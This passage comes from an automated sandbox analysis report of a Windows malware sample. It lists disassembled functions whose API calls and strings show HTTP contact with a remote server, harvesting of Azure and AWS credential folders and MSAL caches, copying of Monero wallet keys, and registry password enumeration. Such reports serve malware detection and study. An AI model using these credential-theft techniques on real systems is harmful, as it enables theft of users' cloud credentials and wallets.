Instruction Fuzzy Hash: EA811DB191511CEBDB28DB54CC85FEA77B8BF48700F008299E149A6280DF756F89CFA1

Function 007C62D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C483B
Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4852
Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4868
Part of subcall function 007C4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007C4889
Part of subcall function 007C4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 007C4899

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

InternetOpenA.WININET(007E0DE6,00000001,00000000,00000000,00000000), ref: 007C6331
StrCmpCA.SHLWAPI(?,012DE818), ref: 007C6353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007C6385
HttpOpenRequestA.WININET(00000000,GET,?,012DE170,00000000,00000000,00400100,00000000), ref: 007C63D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007C640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007C6421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 007C644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 007C64BD
InternetCloseHandle.WININET(00000000), ref: 007C653F
InternetCloseHandle.WININET(00000000), ref: 007C6549
InternetCloseHandle.WININET(00000000), ref: 007C6553

Strings

ERROR, xrefs: 007C6457
ERROR, xrefs: 007C6519
GET, xrefs: 007C63CC

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: bbe2b4eb7c8d9113a796e80261f55b1d3c57e75bd630d812a9e68e6a26f9acc4
Instruction ID: af3bd426d4fb44d89f61aaed9b81dba9eba71ab1e3972fe26369e9bb3a84cad3
Opcode Fuzzy Hash: bbe2b4eb7c8d9113a796e80261f55b1d3c57e75bd630d812a9e68e6a26f9acc4
Instruction Fuzzy Hash: 50715CB1A10258EBDB14DBA0DC89FEEB774BB44700F10819DF50A6B284DBB96E84DF51

Function 007D4FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA1F0: lstrlen.KERNEL32(007C4F55,?,?,007C4F55,007E0DC6), ref: 007DA1FB
Part of subcall function 007DA1F0: lstrcpy.KERNEL32(007E0DC6,00000000), ref: 007DA255

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 007D5124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007D5181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007D5337

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Part of subcall function 007D4CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007D4D08

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007D4DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 007D4DF8
Part of subcall function 007D4DA0: lstrlen.KERNEL32(00000000), ref: 007D4E0F
Part of subcall function 007D4DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 007D4E44
Part of subcall function 007D4DA0: lstrlen.KERNEL32(00000000), ref: 007D4E63
Part of subcall function 007D4DA0: lstrlen.KERNEL32(00000000), ref: 007D4E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 007D526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 007D5420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007D54EC
Sleep.KERNEL32(0000EA60), ref: 007D54FB

Strings

ERROR, xrefs: 007D5329
ERROR, xrefs: 007D5412
ERROR, xrefs: 007D5173
ERROR, xrefs: 007D54DE
ERROR, xrefs: 007D5116
ERROR, xrefs: 007D525D

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 458d99644c9c632850eecf7f867e635db07d364b877b68c26233b4df74ea0962
Instruction ID: 61e4d56d04b95886cd92a3c2d84552275b9274722b2cd5563d10ed67fd41c9f4
Opcode Fuzzy Hash: 458d99644c9c632850eecf7f867e635db07d364b877b68c26233b4df74ea0962
Instruction Fuzzy Hash: 70E14572910149EBCB04FBA0DC9BEED7338BF54300F44852AB54656291EF396F49DBA2

Function 007D4850 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007D8880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007D88AB

lstrcat.KERNEL32(?,00000000), ref: 007D4890
lstrcat.KERNEL32(?,\.azure\), ref: 007D48AD

Part of subcall function 007D43F0: wsprintfA.USER32 ref: 007D440C
Part of subcall function 007D43F0: FindFirstFileA.KERNEL32(?,?), ref: 007D4423

lstrcat.KERNEL32(?,00000000), ref: 007D491C
lstrcat.KERNEL32(?,\.aws\), ref: 007D4939

Part of subcall function 007D43F0: StrCmpCA.SHLWAPI(?,007E0FAC), ref: 007D4451
Part of subcall function 007D43F0: StrCmpCA.SHLWAPI(?,007E0FB0), ref: 007D4467
Part of subcall function 007D43F0: FindNextFileA.KERNEL32(000000FF,?), ref: 007D465D
Part of subcall function 007D43F0: FindClose.KERNEL32(000000FF), ref: 007D4672

lstrcat.KERNEL32(?,00000000), ref: 007D49A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 007D49C5

Part of subcall function 007D43F0: wsprintfA.USER32 ref: 007D4490
Part of subcall function 007D43F0: StrCmpCA.SHLWAPI(?,007E08BA), ref: 007D44A5
Part of subcall function 007D43F0: wsprintfA.USER32 ref: 007D44C2
Part of subcall function 007D43F0: PathMatchSpecA.SHLWAPI(?,?), ref: 007D44FE
Part of subcall function 007D43F0: lstrcat.KERNEL32(?,012DE928), ref: 007D452A
Part of subcall function 007D43F0: lstrcat.KERNEL32(?,007E0FC8), ref: 007D453C
Part of subcall function 007D43F0: lstrcat.KERNEL32(?,?), ref: 007D4550
Part of subcall function 007D43F0: lstrcat.KERNEL32(?,007E0FCC), ref: 007D4562
Part of subcall function 007D43F0: lstrcat.KERNEL32(?,?), ref: 007D4576
Part of subcall function 007D43F0: CopyFileA.KERNEL32(?,?,00000001), ref: 007D458C
Part of subcall function 007D43F0: DeleteFileA.KERNEL32(?), ref: 007D4611

Strings

Azure\.azure, xrefs: 007D48B3
*.*, xrefs: 007D4944
Azure\.IdentityService, xrefs: 007D49CB
\.IdentityService\, xrefs: 007D49B9
\.azure\, xrefs: 007D48A1
msal.cache, xrefs: 007D49D0
\.aws\, xrefs: 007D492D
Azure\.aws, xrefs: 007D493F
*.*, xrefs: 007D48B8

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 89a2af75964b6bae8615f696980fe401c9cbaf71855ba3791791a3b259b71d02
Instruction ID: 24c3d2c61f31ec16970e0072b1daeba2a72dd514fa5767c013787761c884dec6
Opcode Fuzzy Hash: 89a2af75964b6bae8615f696980fe401c9cbaf71855ba3791791a3b259b71d02
Instruction Fuzzy Hash: B04118BA951208ABCB50F760EC4BFDD773C5B24704F404454B149661C1EEF96BC88BA2

Function 007C1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 007C12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007C12B4
Part of subcall function 007C12A0: RtlAllocateHeap.NTDLL(00000000), ref: 007C12BB
Part of subcall function 007C12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007C12D7
Part of subcall function 007C12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 007C12F5
Part of subcall function 007C12A0: RegCloseKey.ADVAPI32(?), ref: 007C12FF

lstrcat.KERNEL32(?,00000000), ref: 007C134F
lstrlen.KERNEL32(?), ref: 007C135C
lstrcat.KERNEL32(?,.keys), ref: 007C1377

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007D8600: GetSystemTime.KERNEL32(007E0E02,012DA6C0,007E059E,?,?,007C13F9,?,0000001A,007E0E02,00000000,?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007D8626

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 007C1465

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Part of subcall function 007C9A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007C9A3C
Part of subcall function 007C9A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007C9A61
Part of subcall function 007C9A10: LocalAlloc.KERNEL32(00000040,?), ref: 007C9A81
Part of subcall function 007C9A10: ReadFile.KERNEL32(000000FF,?,00000000,007C148F,00000000), ref: 007C9AAA
Part of subcall function 007C9A10: LocalFree.KERNEL32(007C148F), ref: 007C9AE0
Part of subcall function 007C9A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 007C9AEA

DeleteFileA.KERNEL32(00000000), ref: 007C14EF

Strings

\Monero\wallet.keys, xrefs: 007C138D
SOFTWARE\monero-project\monero-core, xrefs: 007C1335
wallet_path, xrefs: 007C1330
.keys, xrefs: 007C136B

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateChangeCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2023266049-218353709
Opcode ID: 9580bd6dd9dfd04a95156b164e498098533fcf1c02d72cd6da2bf172296e08d4
Instruction ID: 9f2bc78ffb95f03e4126fc9ad292f411ee6d5ba9d013bd8be871a463407def2d
Opcode Fuzzy Hash: 9580bd6dd9dfd04a95156b164e498098533fcf1c02d72cd6da2bf172296e08d4
Instruction Fuzzy Hash: 0A5176B1D50119E7CB14FB60DC9AFED733CBF54300F4045A9B60A62182EE756B89CBA6

Function 007C7610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007C7310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 007C737A
Part of subcall function 007C7310: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 007C73F1
Part of subcall function 007C7310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 007C744D
Part of subcall function 007C7310: GetProcessHeap.KERNEL32(00000000,?), ref: 007C7492
Part of subcall function 007C7310: HeapFree.KERNEL32(00000000), ref: 007C7499

lstrcat.KERNEL32(2FB60020,007E17A0), ref: 007C7646
lstrcat.KERNEL32(2FB60020,00000000), ref: 007C7688
lstrcat.KERNEL32(2FB60020, : ), ref: 007C769A
lstrcat.KERNEL32(2FB60020,00000000), ref: 007C76CF
lstrcat.KERNEL32(2FB60020,007E17A8), ref: 007C76E0
lstrcat.KERNEL32(2FB60020,00000000), ref: 007C7713
lstrcat.KERNEL32(2FB60020,007E17AC), ref: 007C772D
task.LIBCPMTD ref: 007C773B

Strings

: , xrefs: 007C768E

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 2db13941ee7793c84a7c79babba6040b71d80f692467dd4ac992ba96334d7cef
Instruction ID: 8df9f2630f1ad2cb78fc8c7206283d07d336b9bfd72813dd68fe3a97b8ee7be1
Opcode Fuzzy Hash: 2db13941ee7793c84a7c79babba6040b71d80f692467dd4ac992ba96334d7cef
Instruction Fuzzy Hash: 713162B2914149EFCB48DBA0DC8AEEF7778AB44701F58400CF1126B250DE39AD46DBA1

Function 007D6FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 007D6FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 007D701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 007D70A3
RtlAllocateHeap.NTDLL(00000000), ref: 007D70AA
wsprintfA.USER32 ref: 007D70E0

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Strings

:, xrefs: 007D6FFC
\, xrefs: 007D7000
C, xrefs: 007D6FEC

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 193874ad6b5df4fb125f256592fd7c013b2198daa7e051849a08abf114e79865
Instruction ID: 2551c7626762372c6c891728937c56cc17a97257eaf31664bf6f0d298e1c57fd
Opcode Fuzzy Hash: 193874ad6b5df4fb125f256592fd7c013b2198daa7e051849a08abf114e79865
Instruction Fuzzy Hash: 8B41C3B1D04248EBDB10DF94DC85BEEBBB8BF08711F140599F5096B380D7796A44CBA1

Function 007C60F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C483B
Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4852
Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4868
Part of subcall function 007C4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007C4889
Part of subcall function 007C4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 007C4899

